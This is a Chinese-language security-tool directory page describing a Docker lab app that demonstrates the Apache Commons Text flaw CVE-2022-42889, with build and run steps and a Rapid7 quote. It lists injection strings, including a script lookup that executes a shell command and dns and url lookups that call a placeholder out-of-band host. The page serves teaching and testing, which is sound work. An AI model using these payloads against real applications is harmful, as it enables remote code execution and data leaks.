Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-42889 — CVE-2022-42889 的 docker | Kitploit
工具/GitHubGitHub/necroteddy/cve-2022-42889
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubnecroteddy/cve-2022-42889

CVE-2022-42889

CVE-2022-42889 的 docker

查看仓库
13年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-42889-POC

一个简单的演示应用程序,展示了如何利用CVE-2022-42889漏洞。
利用带外(OOB)服务来演示dns和url前缀。

commons-text插值的JavaDoc:commons-text JavaDocs

插值示例

  • script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
  • dns ("${dns:address|HOST}")
  • url ("${url:UTF-8:http://HOST")

引用自Rapid7

该漏洞被拿来与Log4Shell比较,因为它是一个开源库级别的漏洞,可能影响大量使用相关对象的软件应用程序。
然而,初步分析表明这是一个糟糕的比较。该漏洞的性质意味着,与Log4Shell不同,应用程序使用Commons Text的易受攻击组件处理不受信任、可能恶意的输入的情况很少见。

先决条件

  • docker
  • java
  • maven

如果直接从Docker Hub拉取镜像,则可以跳过Java和maven。

使用方法

构建应用程序

mvn clean package

构建Docker镜像

docker build -t cve-2022-42889-poc .

运行Docker镜像

docker run --rm -p 8081:8081 -t cve-2022-42889-poc

访问应用程序并按照说明操作

open http://localhost:8081

更多信息

  • NIST NVD
  • Rapid 7
下载工具